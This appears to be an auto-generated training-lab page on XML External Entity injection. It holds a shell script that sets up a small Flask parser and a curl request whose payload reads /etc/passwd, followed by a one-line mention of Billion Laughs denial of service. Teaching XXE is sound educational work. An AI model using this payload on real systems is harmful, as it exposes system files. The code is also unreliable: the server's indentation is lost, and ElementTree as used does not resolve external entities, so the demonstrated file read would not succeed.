TDCTF Academy Logo TDCTF ACADEMY

EH-14: XXE Basic - XML External Entity Injection

Tools: curl


cd ~ && mkdir -p eth-l14 && cd eth-l14
cat > server.py << 'PYEOF'
from flask import Flask, request, jsonify
import xml.etree.ElementTree as ET
app = Flask(__name__)
@app.route('/parse', methods=['POST'])
def parse():
xml = request.data
tree = ET.fromstring(xml)
name = tree.findtext('name')
return jsonify({"msg": name})
app.run(port=9012)
PYEOF
python3 server.py &
sleep 1
echo "=== 1. XXE Read /etc/passwd ==*"
curl -s -X POST http://localhost:9012/parse \
-H "Content-Type: application/xml" \
-d '<?xml version="1.0"?><!DOCTYPE foo [<!ENTITY xxe SYSTEM "file:///etc/passwd">]><root><name>&xxe;</name></root>'
echo ""
echo "=== 2. Billion Laughs (concept) ==*"
echo "Ekspansi entity eksponensial → DoS memory exhaustion"
kill %1 2>/dev/null

Refleksi: XML parser harus disable external entities. XXE = file read + SSRF + DoS.


Generated by @farishhz Agent Pentest Pipeline - TDCTF Security Academy

PADA HALAMAN INI

Tidak ada sub-judul